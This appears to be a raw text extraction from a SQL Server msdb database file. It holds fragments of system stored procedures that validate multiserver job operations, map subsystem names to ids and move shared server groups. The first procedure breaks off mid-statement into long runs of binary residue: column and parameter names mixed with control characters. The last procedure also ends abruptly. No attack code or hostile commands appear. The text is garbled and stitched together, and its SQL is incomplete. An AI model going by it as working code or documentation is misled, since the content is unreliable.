  IF (@operation_code = 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@operation_code', 'INSERT, UPDATE, DELETE, START, STOP, RE-ENLIST, DEFECT, SYNC-TIME, SET-POLL')
    RETURN(1) -- Failure
  END

  -- Check object type (in 9.0 only 'JOB', 'SERVER' or 'SCHEDULE'are valid)
  IF ((@object_type <> 'JOB') AND (@object_type <> 'SERVER') AND (@object_type <> 'SCHEDULE'))
  BEGIN
    RAISERROR(14266, -1, -1, '@object_type', 'JOB, SERVER, SCHEDULE')
    RETURN(1) -- Failure
  END

  -- Check that for a object type of JOB a job_id has been supplied
  IF ((@object_type = 'JOB') AND (@job_id IS NULL))
  BEGIN
    RAISERROR(14233, -1, -1)
    RETURN(1) -- Failure
  END
  
    -- Check that for a object type of JOB a job_id has been supplied
  IF ((@object_type = 'SCHEDULE') AND (@schedule_uid IS NULL))
  BEGIN
    RAISERROR(14365, -1, -1)
    RETURN(1) -- Failure
  END

  -- Check polling interval value
  IF (@operation_code = 9) AND ((ISNULL(@value, 0) < 10) OR (ISNULL(@value, 0) > 28800))
  BEGIN
    RAISERROR(14266, -1, -1, '@value', '10..28800')
    RETURN(1) -- Failure
  END

  -- Check specific target server
  IF (@specific_target_server IS NOT NULL)
  BEGIN
    SELECT @specific_target_server = UPPER(@specific_target_server)

    -- Check if the local server is being targeted
    IF (@specific_target_server = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))))
    BEGIN
      RETURN(0)
    END
    ELSE
    BEGIN
      SELECT @specific_target_server_id = server_id
      FROM msdb.dbo.systargetservers
      WHERE (UPPER(server_name) = @specific_target_server)
      IF (@specific_target_server_id IS NULL)
      BEGIN
        RAISERROR(14262, -1, -1, '@specific_target_server', @specific_target_server)
        RETURN(1) -- Failure
      END
    END
  END

  -- Check that this server is an MSX server
  IF ((SELECT COUNT(*)
       FROM msdb.dbo.systargetservers) = 0)
  BEGIN
    RETURN(0)
  END

  -- Get local machine name
  EXECUTE @retval = master.dbo.xp_getnetname @local_machine_name OUTPUT
  IF (@retval <> 0) OR (@local_machine_name IS NULL)
  BEGIN
    RAISERROR(14225, -1, -1)
    RETURN(1)
  END

  -- Job-specific processing...
  IF (@object_type = 'JOB')
  BEGIN
    -- Validate the job (if supplied)
    IF (@job_id <> CONVERT(UNIQUEIDENTIFIER, 0x00))
    BEGIN
      SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)

      -- Check if the job exists
      IF (NOT EXISTS (SELECT *
                      FROM msdb.dbo.sysjobs_view
                      WHERE (job_id = @job_id)))
      BEGIN
        RAISERROR(14262, -1, -1, '@job_id', @job_id_as_char)
        RETURN(1) -- Failure
      END

      -- If this is a local job then there's nothing for us to do
      IF (EXISTS (SELECT *
                  FROM msdb.dbo.sysjobservers
                  WHERE (job_id = @job_id)
                    AND (server_id = 0))) -- 0 means local server
      OR (NOT EXISTS (SELECT *
                      FROM msdb.dbo.sysjobservers
                      WHERE (job_id = @job_id)))
      BEGIN
        RETURN(0)
      END
    END

    -- Generate the sysdownloadlist row(s)...
    IF (@operation_code = 1) OR  -- Insert
       (@operation_code = 2) OR  -- Update
       (@operation_code = 3) OR  -- Delete
       (@operation_code = 4) OR  -- Start
       (@operation_code = 5)     -- Stop
    BEGIN
      IF (@job_id = CONVERT(UNIQUEIDENTIFIER, 0x00)) -- IE. 'ALL'
      BEGIN
        -- All jobs

        -- Handle DELETE as a special case (rather than posting 1 instruction per job we just
        -- post a single instruction that means 'delete all jobs from the MSX')
        IF (@operation_code = 3)
        BEGIN
          INSERT INTO msdb.dbo.sysdownloadlist
                (source_server,
                 operation_code,
                 object_type,
                 object_id,
                 target_server)
          SELECT @local_machine_name,
                 @operation_code,
                 1,                -- 1 means 'JOB'
                 CONVERT(UNIQUEIDENTIFIER, 0x00),
                 sts.server_name
          FROM systargetservers sts
          WHERE ((@specific_target_server_id IS NULL) OR (sts.server_id = @specific_target_server_id))
            AND ((SELECT COUNT(*)
                  FROM msdb.dbo.sysjobservers
                  WHERE (server_id = sts.server_id)) > 0)
          SELECT @instructions_posted = @@rowcount
        END
        ELSE
        BEGIN
          INSERT INTO msdb.dbo.sysdownloadlist
                (source_server,
                 operation_code,
                 object_type,
                 object_id,
                 target_server)
          SELECT @local_machine_name,
                 @operation_code,
                 1,                -- 1 means 'JOB'
                 sjv.job_id,
                 sts.server_name
          FROM sysjobs_view     sjv,
               sysjobservers    sjs,
               systargetservers sts
          WHERE (sjv.job_id = sjs.job_id)
            AND (sjs.server_id = sts.server_id)
            AND (sjs.server_id <> 0) -- We want to exclude local jobs
            AND ((@specific_target_server_id IS NULL) OR (sjs.server_id = @specific_target_server_id))
          SELECT @instructions_posted = @@rowcount
        END
      END
      ELSE
      BEGIN
        -- Specific job (ie. @job_id is not 0x00)
        INSERT INTO msdb.dbo.sysdownloadlist
              (source_server,
               operation_code,
               object_type,
               object_id,
               target_server,
               deleted_object_name)
        SELECT @local_machine_name,
               @operation_code,
               1,                -- 1 means 'JOB'
               sjv.job_id,
              `-FH)tIh4Yo0-Ha	88
cdelay_between_responses0-Ha
88
]last_occurrence_date0-Ha88
]last_occurrence_time0-Ha88
Ylast_response_date0-Ha
88
Ylast_response_time0-Ha4]notification_message0-Ha00ginclude_event_description0-Ha4Odatabase_name0-Ha4gevent_description_keyword0-Ha88
Uoccurrence_count0-Ha88
Ucount_reset_date0-Ha88
Ucount_reset_time0-Ha$$Ajob_id0-Ha88
Uhas_notification0-Ha88
?flags0-Ha4_performance_condition0-Ha88
Kcategory_id0-b4Kobject_name0-b4Mcounter_name0-b4Oinstance_name0-bIcntr_value0-b88
Gcntr_type0-bbbPPKserver_name0-WZb4M@server_name0-WZb4K@local_time0-WZb88
Q@poll_interval0-WZb88
_@time_zone_adjustment0-Nc4M@server_name0-Nc88
a@adjustment_in_minutes0--%b4G@username0--%b4G@password0--%b88
Q@credential_id0-fc4U@credential_name0-fc4G@username0-fc4G@password0-a==O@last_updated0-a==O@compare_with0-a88
I@threshold0-a88
Y@outage_start_time0-a88
U@outage_end_time0-a88
]@outage_weekday_mask0-ahhE@enabled0-a88
A@delta0-<b4E@db_name0-<b4G@filename0-<b==I@file_date0-b$$[@collection_set_uid0-b88
[@collection_item_id0-b$$a@collection_package_id0-b$$Y@upload_package_id0-Eb88
9cQnum_processors0-Eb40-dEcpu_name0-Eb4i!eKcpu_caption0-EbjjfOcpu_family_id0-Ebjj@
g[cpu_architecture_id0-Ebjj	
	eg[cpu_max_clock_speed0-Ebjj	
	MhScpu_clock_speed0-Ebjj	
	iOl2_cache_size0-Eb	jj	
	jOl3_cache_size0-Eb
jj

k}instance_processor_usage_start_ticks0-Ebjj

1lwinstance_collect_time_start_ticks0-Ebjj

j>m{computer_processor_idle_start_ticks0-Eb
jj

bnwcomputer_collect_time_start_ticks0-Ebjj

܆oyinstance_processor_usage_end_ticks0-Ebjj

psinstance_collect_time_end_ticks0-Ebjj

Nχqwcomputer_processor_idle_end_ticks0-Ebjj

{rscomputer_collect_time_end_ticks0-Eb4]server_instance_name0-Eb4[virtual_server_name0-Eb4]physical_server_name0-Eb;;{instance_processor_usage_percentage0-Eb;;{computer_processor_usage_percentageial0-0shhm@syssubsytems_refresh_needed0-Tt<4c@name_of_name_parameter0-Tt<4_@name_of_id_parameter0-Tt4S@subsystem_name0-Tt88
O@subsystem_id0-xu4K@login_name0-xu4Y@fixed_server_role0-xu4I@msdb_role0-xu4?@name0-xuU=@sid0-xu88
A@flags0-.v88
G@proxy_id0-.v4K@proxy_name0-.v00E@enabled0-.v4M@description0-WZb4M@server_name0-WZb4K@local_time0-WZb88
Q@poll_interval0-WZb88
_@time_zone_adjustment0-Nc4M@server_name0-Nc88
a@a~	1	Z
^IWr'6N~)5D?^m
&
	

6
?}>SB/} `9-D)	E690-b88
?depid0-b00Iindepclass0-b4Gindepname0-b4Kindepschema0-b4Cindepdb0-b4Kindepserver0-b88
Anumber0-b	88
Astatus0-h 4?@name0-h 88
G@proxy_id0-h 4K@proxy_name0-+88
G@proxy_id0-+4K@proxy_name0-+88
O@subsystem_id0-+4S@subsystem_name0-O88
G@proxy_id0-O4K@proxy_name0-O88
O@subsystem_id0-O4S@subsystem_name0-w!4=name0-w!4Kdescription0-w!=="Wlast_mod_datetime0-w!4[Olast_mod_user0-w!88
KXprofile_id0-M4A@query0-MhhS@attach_results0-M4i@query_attachment_filename0-MhhI@no_output0-Mhh]@query_result_header0-M4I@separator0-MhhK@echo_error0-M4A@dbuse0-M	88
A@width0-M
$$S@temp_table_uid0-MhhY@query_no_truncate0-Mhhe@query_result_no_padding0-;4Y@send_request_user0-;UG@user_sid0-_4O@profile_name0-_4K@recipients0-_4U@copy_recipients0-_4a@blind_copy_recipients0-_4E@subject0-_4?@body0-_4M@body_format0-_4K@importance0-_	4M@sensitivity0-_
4W@file_attachments0-_4A@query0-_4c@execute_query_database0-_
hhm@attach_query_result_as_file0-_4i@query_attachment_filename0-_hh]@query_result_header0-_88
[@query_result_width0-_4c@query_result_separator0-_hh_@exclude_query_output0-_hh[@append_query_error0-_hhY@query_no_truncate0-_hhe@query_result_no_padding0-_88
M@mailitem_id0-_4O@from_address0-_4G@reply_to0-#
u4?@name0-#
u$$G@folderid0-\1i4Qparameter_name0-\1ibbPPSparameter_value0-hhS@include_system0-ze 4g@target_tree_root_with_id
Olast_mod_user0-\4=name0-\4Kdescription0-\4Oemail_address0-\4Mdisplay_name0-\4Sreplyto_address0-\==9Wlast_mod_datetime0-\4@-Olast_mod_user0-\88
KXaccount_id0-M4A@query0-MhhS@attach_results0-M4i@query_attachment_filename0-MhhI@no_output0-Mhh]@query_result_header0-M4I@separator0-MhhK@echo_error0-M4A@dbuse0-M	88
A@width0-M
$$S@temp_table_uid0-MhhY@query_no_truncate0-Mhhe@query_result_no_padding0-;4Y@send_request_user0-;UG@user_sid0-_4O@profile_name0-_4K@recipients0-_4U@copy_recipients0-_4a@blind_copy_recipients0-_4E@subject0-_4?@body0-_4M@body_format0-_4K@importance0-_	4M@sensitivityHr

&z)
0lkX=gl

H

Mp!l9<[K
U

		5	FIIz/`-)F,180-088
;Hid0-04Qversion_string0-088
Oversion_major0-088
Oversion_minor0-088
Oversion_build0-088
Uversion_revision0-_<M88
Gaction_id0-_<M88
Ksequence_id0-_<M$$Kinstance_id0-_<M00Kaction_type0-_<M4Uaction_type_name0-_<M00Sdac_object_type0-_<M4]dac_object_type_name0-_<M00Oaction_status0-_<M	4Yaction_status_name0-_<M
hhErequired0-_<M4cdac_object_name_pretran0-_<M4edac_object_name_posttran0-_<M
4@Gsqlscript0-_<M@Cpayload0-_<M4@Ecomments0-_<M4@Merror_string0-_<M4
)Icreated_by0-_<M==CMdate_created0-_<M==|Odate_modifiedge0->00o@include_event_description_in0->4Q@database_name0->	4i@event_description_keyword0->
$$C@job_id0->4G@job_name0->88
W@occurrence_count0->
00U@raise_snmp_trap0->4a@performance_condition0->4Q@category_name0->88
M@category_id0->88
W@count_reset_date0->88
W@count_reset_time0->4Q@wmi_namespace0->4I@wmi_query0->88
G@event_id0-24?@name0-24G@new_name0-200E@enabled0-288
K@message_id0-288
G@severity0-288
e@delay_between_responses0-24_@notification_message0-200o@include_event_description_in0-2	4Q@database_name0-2
4i@event_description_keyword0-2$$C@job_id0-24G@job_name0-2
88
W@occurrence_count0-288
W@count_reset_date0-288
W@count_reset_time0-288
_@last_occurrence_date0-288
_@last_occurrence_time0-288
[@last_response_date0-288
[@last_response_time0-200U@raise_snmp_trap0-24a@performance_condition0-24Q@category_name0-24Q@wmi_namespace0-24I@wmi_query0-e!88
Iprofile_id0-e!88
Iaccount_id0-e!88
Ssequence_number0-e!==Wlast_mod_datetime0-e!4Olast_mod_user0-Z$$Qtask_detail_id0-Z$$Cplan_id0-Z$$Isubplan_id0-Z==Istart_time0-Z==Eend_time0-ZhhGsucceeded0-ZhhSlogged_remotely0-Z4Ysource_server_name0-Z	4Gplan_name0-Z
4Msubplan_name0-4^88
Ypolicy_category_id0-4^4=name0-4^hhqmandate_database_subscriptions0-mR4Sobject_set_name0-mR88
Efacet_id0-mRhhD/Gis_system0-mR88
Q^object_set_id0-_<M88
Gaction_id0-_<M88
Ksequence_id0-_<M$$Kinstance_id0-_<M00Kaction_type0-_<M4Uaction_type_name0-_<M00Sdac_object_type0-_<M4]dac_object_type_name0-_<M00Oaction_status0-_<M	4Yaction_status_name0-_<M
hhErequired0-_<M4cdac_object_name_pretran0-_<M4edac_object_name_posttrang
p<I0=9dUhc;H`-N)MP0-x.P88
CPmap_idv0-x.P88
Ksrc_dbms_id0-x.P88
Mdest_dbms_id0-x.P88
Ssrc_datatype_id0-x.Pv8Ksrc_len_min0-x.P#,Ksrc_len_max0-x.P\ Msrc_prec_min0-x.PMsrc_prec_max0-x.P		Osrc_scale_min0-x.P
,Osrc_scale_max0-x.Phh@PMsrc_nullable0-x.P88
ytkdefault_datatype_mapping_id0-H4M@server_name0-H4U@new_server_name0-34$$E@plan_id0-34$$K@subplan_id0-34==M@oldest_time0-lX$$K@subplan_id0-lXhhM@delete_jobs0-	*p88
Y@collection_set_id0-	*p4?@name0-BNd88
Y@collection_set_id0-BNd$$[@collection_set_uid0-BNd4]@collection_set_name0-BNd88
G@proxy_id0-BNd88
M@schedule_id0-BNd44U@collection_mode0-BNd$$Y@collection_job_id0-BNd$$Q@upload_job_id0-'^4I@type_name0-'^$$M@instance_id0-'^4Q@instance_name0-'^4O@type_version0-'^@4M@description0-'^M@type_stream0-/88
Uhealth_policy_id0-/88
Gpolicy_id0-/4Kpolicy_name0-/88
Yrollup_object_type0-/@4@Wrollup_object_urn0-/88
Ktarget_type0-/88
Oresource_type0-/88
Uutilization_type0-/	>>5_utilization_threshold0-/
hhUis_global_policy0-S4M@policy_name0-S88
[@rollup_object_type0-S@4Y@rollup_object_urn0-S88
M@target_type0-S88
Q@resource_type0-S88
W@utilization_type0-S>>5a@utilization_threshold0-S88
i@resource_health_policy_id0-%88
Emi_count0-%88
Umi_healthy_count0-%88
Ymi_unhealthy_count0-%88
_mi_over_utilize_count0-%88
ami_under_utilize_count0-%88
ymi_on_over_utilized_computer_count0-%88
{mi_on_under_utilized_computer_count0-%88
mi_with_files_on_over_utilized_volume_count0-%	88
mi_with_files_on_under_utilized_volume_count0-%
88
umi_with_over_utilized_file_count0-%88
wmi_with_under_utilized_file_count0-%88
mi_with_over_utilized_processor_count0-%
88
mi_with_under_utilized_processor_count0-I4Edac_name0-I4edac_server_instance_name0-I88
gvolume_space_health_state0-I88
scomputer_processor_health_state0-I88
cfile_space_health_state0-I88
idac_processor_health_state0-Ihhqcontains_over_utilized_volumes0-Ihhscontains_under_utilized_volumes0-I	hhwcontains_over_utilized_filegroups0-I
hhycontains_under_utilized_filegroups0-Ihh]is_policy_overridden0-I++
"
Sprocessing_timel0-&4@4M@description0-88
Oobject_set_id0-4Sobject_set_name0-88
Efacet_id0-4@Ifacet_name0-hhGis_system0-ð4?@name0-ð88
Q@object_set_id0-88
Q@object_set_id0-88
Q@is_referenced0-'^4I@type_name0-'^$$M@instance_id0-'^

[


	t	t&~j
9m.#	u()n!)
u
&
+DShrpj1>8i~1H`-!)dZ
K*l0-Г3,Gdbms_name0-Г3,Esql_type0-Г3,Gdest_type0-Г3,Gdest_prec0-Г3,88
Ydest_create_params0-Г3,hhOdest_nullable0-,$$p.Cplan_id0-,46e/Gplan_name0-,4Odatabase_name0-,4o*Y0Kserver_name0-,4Eactivity0-,hhNM1Gsucceeded0-,==rA2Eend_time0-,	88
53Eduration0-,
==Istart_time0-,88
S)4Merror_number0-,4Cmessage0-,88
MZsequence_id0-aS,88
Wcollection_set_id0-aS,88
Ycollection_item_id0-aS,$$Ycollector_type_uid0-aS,@4@=name0-aS,88
Gfrequency0-aS,@Iparameters0-,88
Gvolume_id0-,4]physical_server_name0-,4[virtual_server_name0-,4Kvolume_name0-,4Uvolume_device_id0-,@4@Spowershell_path0-,;;Ktotal_space0-,;;Utotal_space_used0-,	;;ctotal_space_utilizationpowershell_path0-F,++
"
Sprocessing_time0-F,++
"
Ibatch_time0-F,44IAuditLevel0-F,4SBackupDirectory0-F,4_BrowserServiceAccount0-F,44UBrowserStartMode0-F,	(4(_BuildClrVersionString0-F,
88
KBuildNumber0-F,4GCollation0-F,88
KCollationID0-F,
88
SComparisonStyle0-F,4kComputerNamePhysicalNetBIOS0-F,4KDefaultFile0-F,4IDefaultLog0-F,4CEdition0-F,44OEngineEdition0-F,4MErrorLogPath0-F,4[FilestreamShareName0-F,4]InstallDataDirectory0-F,4aInstallSharedDirectory0-F,4MInstanceName0-F,hhSIsCaseSensitive0-F,hhKIsClustered0-F,hh[IsFullTextInstalled0-F,hhMIsSingleUser0-F,4ELanguage0-F,4KMailProfile0-F,4SMasterDBLogPath0-F,4MMasterDBPath0-F, 00MMaxPrecision0-F,!4=Name0-F,"hhWNamedPipesEnabled0-F,#4CNetName0-F,$88
UNumberOfLogFiles0-F,%@4@GOSVersion0-F,&44KPerfMonMode0-F,'88
QPhysicalMemory0-F,(@4@EPlatform0-F,)44IProcessors0-F,*88
QProcessorUsage0-F,+`4`CProduct0-F,,@4@MProductLevel0-F,-@4@_ResourceVersionString0-F,.4ORootDirectory0-F,/44IServerType0-F,04QServiceAccount0-F,14WServiceInstanceId0-F,24KServiceName0-F,344UServiceStartMode0-F,444ISqlCharSet0-F,5@4@QSqlCharSetName0-F,64QSqlDomainGroup0-F,744MSqlSortOrder0-F,84USqlSortOrderName0-F,944AStatus0-F,:88
UTapeLoadWaitTime0-F,;hhITcpEnabled0-F,<88
MVersionMajor0-F,=88
MVersionMinor0-F,>@4@OVersionString0-,88
Gvolume_id0-,4]physical_server_name0-,4[virtual_server_name0-,4Kvolume_name0-,4Uvolume_device_id0-,@4@Spowershell_path0-,;;Ktotal_space0-,;;Utotal_space_used`

W

f_
		W		d	e\Fe"5?z3`-@;)l
LM0-&m188
GTproxy_id0-&m14=name0-&m188
Ocredential_id0-&m100Cenabled0-&m14Kdescription0-&m1UUEuser_sid0-&m1==ccredential_date_created0-_288
Msubsystem_id0-_2P4PGsubsystem0-_288
Qdescription_id0-_24Osubsystem_dll0-_24Gagent_exe0-_2<4<Wstart_entry_point0-_2<4<Wevent_entry_point0-_2<4<Ustop_entry_point0-_2	88
Ymax_worker_threads0-52$$C@job_id0-524G@job_name0-5200a@show_last_run_details0-h288
[@collection_item_id0-h24?@name0-388
[@collection_item_id0-34?@name0-rna24;urn0-rna24Iparent_urn0-rna2;;AGrowth0-rna244IGrowthType0-rna2;;CMaxSize0-rna24=Name0-rna2;;=Size0-rna2;;GUsedSpace0-rna2	4EFileName0-rna2
SVolumeFreeSpace0-rna24]server_instance_name0-rna24Odatabase_name0-rna2
4@Spowershell_path0-rna24Kvolume_name0-rna24Uvolume_device_id0-rna24]physical_server_name0-rna2;;Savailable_space0-rna2;;[percent_utilization0-rna2++
"
Sprocessing_time0-U34]server_instance_name0-U34Odatabase_name0-U34Qfilegroup_name0-U34=Name0-U34Kvolume_name0-U34Uvolume_device_id0-U34EFileName0-U3;;AGrowth0-U3	44IGrowthType0-U3
++
"
Sprocessing_time0-U34@Spowershell_path0-U388
Gfile_type0-U3
;;CMaxSize0-U3;;=Size0-U3;;GUsedSpace0-U3;;Savailable_space0-U3;;[percent_utilization
[@collection_item_id0-34?@name0-388
Gpolicy_id0-34=name0-388
Mcondition_id0-388
Wroot_condition_id0-3==Mdate_created0-388
Qexecution_mode0-388
Ypolicy_category_id0-3$$Mschedule_uid0-3	4@Kdescription0-3
@4@Ghelp_text0-3F4FGhelp_link0-388
Oobject_set_id0-3
hhIis_enabled0-3$$Ajob_id0-34Icreated_by0-34Kmodified_by0-3==Odate_modified0-3hhGis_system0-rna24;urn0-rna24Iparent_urn0-rna2;;AGrowth0-rna244IGrowthType0-rna2;;CMaxSize0-rna24=Name0-rna2;;=Size0-rna2;;GUsedSpace0-rna2	4EFileName0-rna2
SVolumeFreeSpace0-rna24]server_instance_name0-rna24Odatabase_name0-rna2
4@Spowershell_path0-rna24Kvolume_name0-rna24Uvolume_device_id0-rna24]physical_server_name0-rna2;;Savailable_space0-rna2;;[percent_utilization0-rna2++
"
Sprocessing_time0-U34]server_instance_name0-U34Odatabase_name0-U34Qfilegroup_name0-U34=Name0-U34Kvolume_name0-U34Uvolume_device_idC,
x


mp)bs2M
p

-H[
vMe`
s

	~	7	z1l8@`-\)Uv690-|F74Gattribute0-|F74?value0-j888
MZinstance_id0-j84Osource_server0-j800Qoperation_code0-j800Kobject_type0-j8$$Gobject_id0-j84Otarget_server0-j84B.Oerror_message0-j8=={/Kdate_posted0-j8	==Sdate_downloaded0-j8
00$0Astatus0-j84[deleted_object_name0-988
MZinstance_id0-9$$Ajob_id0-988
Cstep_id0-94Gstep_name0-988
Qsql_message_id0-988
Msql_severity0-9@4@Cmessage0-988
Irun_status0-9	88
Erun_date0-9
88
Erun_time0-988
Mrun_duration0-988
[operator_id_emailed0-9
88
[operator_id_netsent0-988
Woperator_id_paged0-`d84Q@schedule_name0-`d800E@enabled0-`d888
I@freq_type0-`d888
Q@freq_interval0-`d888
W@freq_subday_type0-`d888
_@freq_subday_interval0-`d888
c@freq_relative_interval0-`d888
c@freq_recurrence_factor0-`d8	88
Y@active_start_date0-`d8
88
U@active_end_date0-`d888
Y@active_start_time0-`d888
U@active_end_time0-`d8
4W@owner_login_name0-`d8$$O@schedule_uid0-`d888
M@schedule_id0-`d84[@originating_server0-ĄX9$$C@job_id0-ĄX94G@job_name0-ĄX988
M@schedule_id0-ĄX94Q@schedule_name0-ĄX9hhS@automatic_post0-aV/888
Oattachment_id0-aV/888
Kmailitem_id0-aV/84Efilename0-aV/888
Efilesize0-aV/8@Iattachment0-aV/8==Ӟ:Olast_mod_date0-aV/84;Olast_mod_user0-aV/888
Q^attachment_id0-7L7$$E@plan_id0-7L74E@db_name0-pp8$$E@plan_id0-pp84E@db_name0-
B788
Y@collection_set_id0-
B74?@name0-\84?@name0-\8hhs@mandate_database_subscriptions0-\888
[@policy_category_id0-Ux94?@name0-Ux988
[@policy_category_id0-G84]server_instance_name0-G888
Wunder_utilization0-G888
[current_utilization0-G888
Uover_utilization0-l94]physical_server_name0-l988
Wunder_utilization0-l9;;[current_utilization0-l988
Uover_utilization0-=7$$Eagent_id0-=700Iagent_type0-=788
Isession_id0-=74Odatabase_name0-=700Qsession_status0-=7==Elog_time0-=7==Mlog_time_utc0-=7@4@Cmessage0-a8$$Eagent_id0-a800Iagent_type0-a888
Isession_id0-a84Odatabase_name0-a888
Ssequence_number0-a8==Elog_time0-a8==Mlog_time_utc0-a8@4@Cmessage0-a8	@4@Asource0-a8
@4@Ehelp_urlY@on_success_action0-^?88
[@on_success_step_id0-^?	00S@on_fail_action0-^?
88
U@on_fail_step_id0-^?88
U@os_run_priority0-^?4Q@database_name0-^?
4[@database_user_name0-aV/888
&p#P
o(Jp]
}"nAl)Dc[r+@cx
+
0)
c

	\		}
r-Yg
I`$`A-G)!RH\0-"B88
_originating_server_id0-"B4Yoriginating_server0-"B88
Omaster_server0-B$$C@job_id0-B4G@job_name0-B88
E@step_id0-wB$$Sbackup_set_uuid0-wB88
Mmedia_set_id0-wB00[first_family_number0-wB44Yfirst_media_number0-wB00Ylast_family_number0-wB44Wlast_media_number0-wB00_catalog_family_number0-wB	44]catalog_media_number0-wB
88
Eposition0-wB==Sexpiration_date0-wB88
Ysoftware_vendor_id0-wB
4=name0-wB4Kdescription0-wB4Guser_name0-wB00asoftware_major_version0-wB00asoftware_minor_version0-wB44asoftware_build_version0-wB44Gtime_zone0-wB00Wmtf_minor_version0-wBll

Gfirst_lsn0-wBll

Elast_lsn0-wBll

Qcheckpoint_lsn0-wBll

[database_backup_lsn0-wB==adatabase_creation_date0-wB==Wbackup_start_date0-wB==Ybackup_finish_date0-wB4=type0-wB44Isort_order0-wB44Gcode_page0-wB00[compatibility_level0-wB 88
Udatabase_version0-wB!ll

Kbackup_size0-wB"4Odatabase_name0-wB#4Kserver_name0-wB$4Mmachine_name0-wB%88
?flags0-wB&88
Qunicode_locale0-wB'88
_unicode_compare_style0-wB(4Qcollation_name0-wB)hh_is_password_protected0-wB*x4xQrecovery_model0-wB+hh]has_bulk_logged_data0-wB,hhKis_snapshot0-wB-hhKis_readonly0-wB.hhQis_single_user0-wB/hh]has_backup_checksums0-wB0hhIis_damaged0-wB1hhUbegins_log_chain0-wB2hhchas_incomplete_metadata0-wB3hhUis_force_offline0-wB4hhMis_copy_only0-wB5$$efirst_recovery_fork_guid0-wB6$$clast_recovery_fork_guid0-wB7ll

Qfork_point_lsn0-wB8$$Odatabase_guid0-wB9$$Kfamily_guid0-wB:ll

_differential_base_lsn0-wB;$$adifferential_base_guid0-wB<ll

acompressed_backup_size0-wB88
Q^backup_set_id0-C88
Otarget_set_id0-C88
Oobject_set_id0-Cp4pOtype_skeleton0-C4=type0-ChhCenabled0-C88
Q^target_set_idegins_log_chain0-wB2hhchas_incomplete_metadata0-wB3hhUis_force_offline0-wB4hhMis_copy_only0-wB5$$efirst_recovery_fork_guid0-wB6$$clast_recovery_fork_guid0-wB7ll

Qfork_point_lsn0-wB8$$Odatabase_guid0-wB9$$Kfamily_guid0-wB:ll

_differential_base_lsn0-wB;$$adifferential_base_guid0-wB<ll

acompressed_backup_size0-wB88
Q^backup_set_id0-6CAlog_id0-6C4Gtask_name0-6C88
aexecution_row_count_in0-6C88
cexecution_row_count_out0-6C88
iexecution_row_count_errors0-6C88
Wexecution_time_ms0-6C==Elog_time0-C88
Otarget_set_id0-C88
Oobject_set_id0-Cp4pOtype_skeleton0-C4=types$BgVkVIR_^

o
"
=F

g

	T		w xo$;:16w`^<HA00Tt 8
CREATE PROCEDURE dbo.sp_verify_subsystem_identifiers
   @name_of_name_parameter [varchar](60),
   @name_of_id_parameter [varchar](60),
   @subsystem_name [sysname] OUTPUT,
   @subsystem_id [INT] OUTPUT
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @subsystem_id_as_char NVARCHAR(36)

  SET NOCOUNT ON

  -- this call will populate subsystems table if necessary
  EXEC @retval = msdb.dbo.sp_verify_subsystems
  IF @retval <> 0
     RETURN(@retval)

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @subsystem_name         = LTRIM(RTRIM(@subsystem_name))

  IF (@subsystem_name = N'') SELECT @subsystem_name = NULL

  IF ((@subsystem_name IS NULL)     AND (@subsystem_id IS NULL)) OR
     ((@subsystem_name IS NOT NULL) AND (@subsystem_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check subsystem_id
  IF (@subsystem_id IS NOT NULL)
  BEGIN
    SELECT @subsystem_name = subsystem
    FROM msdb.dbo.syssubsystems
    WHERE (subsystem_id = @subsystem_id)
    IF (@subsystem_name IS NULL)
    BEGIN
     SELECT @subsystem_id_as_char = CONVERT(nvarchar(36), @subsystem_id)
      RAISERROR(14262, -1, -1, '@subsystem_id', @subsystem_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check subsystem name
  IF (@subsystem_name IS NOT NULL)
  BEGIN
    -- Make sure Dts is translated into new subsystem's name SSIS
    IF UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS) = N'DTS'
    BEGIN
      SET @subsystem_name = N'SSIS'
    END

    -- The name is not ambiguous, so get the corresponding subsystem_id (if the subsystem exists)
    SELECT @subsystem_id = subsystem_id
    FROM msdb.dbo.syssubsystems
    WHERE (UPPER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS))
    IF (@subsystem_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@subsystem_name', @subsystem_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0MPt 8CREATE PROCEDURE [dbo].[sp_sysmanagement_move_shared_server_group]
    @server_group_id INT,
    @new_parent_id INT
AS
BEGIN
    IF (@new_parent_id IS NULL) OR 
        NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @new_parent_id)
    BEGIN
        RAISERROR (35001, -1, -1)
        RETURN(1)
    END

    IF (@new_parent_id IS NOT NULL)
        AND ((SELECT server_type FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @new_parent_id)
                <>
             (SELECT server_type FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @server_group_id))
    BEGIN
        RAISERROR (35002, -1, -1)
        RETURN(1)
    END

    DECLARE @DeletedGroups TABLE
    (
        server_group_id int
    );

    -- Check if the destination group you're moving to isn't already a descendant of the current group
    WITH ChildGroups (parent_id, server_group_id, server_level)
    AS
    (
        -- Anchor
        SELECT g.parent_id, g.server_group_id, 0 AS server_level
        FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] AS g
        WHERE g.server_group_id = @server_group_id
        UNION ALL
        -- Recursive definition
        SELECT r.parent_id, r.server_group_id, server_level + 1
        FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] AS r
        INNER JOIN ChildGroups AS children ON r.parent_id = children.server_group_id
    )
    -- Execute CTE
    INSERT INTO @DeletedGroups
    SELECT server_group_id FROM ChildGroups

    IF (SELECT COUNT(*) FROM @DeletedGroups WHERE server_group_id = @new_parent_id) > 0
    BEGIN
        RAISERROR (35003, -1, -1)
        RETURN(1)
    END
    
